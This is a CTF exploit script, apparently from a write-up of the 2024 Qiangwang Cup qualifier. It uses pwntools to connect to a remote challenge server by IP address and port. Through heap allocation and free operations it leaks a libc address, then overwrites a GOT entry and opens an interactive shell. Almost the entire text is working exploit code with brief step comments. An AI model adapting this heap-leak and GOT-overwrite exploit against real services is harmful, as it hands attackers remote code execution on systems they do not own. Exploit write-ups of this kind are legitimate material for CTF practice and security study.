22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = remote('47.94.151.65', 30726)
libc = ELF('./libc-2.35.so')

def rc(*args): return p.recv(*args)

def ru(x): return p.recvuntil(x)

def sl(x): return p.sendline(x)

def sd(x): return p.send(x)

def sa(a, b): return p.sendafter(a, b)

def sla(a, b): return p.sendlineafter(a, b)

def ls(*args): return log.success(*args)

def ia(): return p.interactive()

def l8(x): return x.ljust(8, b'\x00')

def malloc(size):
sla(': ', '1')
sla('e ', str(size))

def free(idx):
sla(': ', '2')
sla(': ', str(idx))

def show(idx):
sla(': ', '4')
sla(': \n', str(idx))
ru('here \n')

def main():
# 初始堆分配
malloc(0x700)
malloc(0x10)
# 释放并泄露地址
free(1)
show(1)
# 计算基地址和目标地址
libc_base_addr = u64(p.recv(8)) - 0x21ace0
got = libc_base_addr + 0x21A118
# 覆写GOT表
sla(': ', '0')
sd(p64(got))
sd(p64(libc_base_addr + libc.symbols['puts']))
# 触发漏洞
sla(': ', '5')
sl('2')
# 获取shell
ia()
if __name__ == '__main__':
main()

2024强网杯初赛
https://0ran9ewww.github.io/2024/11/04/强网杯/强网杯2024初赛/
作者
orange
发布于
2024年11月4日
许可协议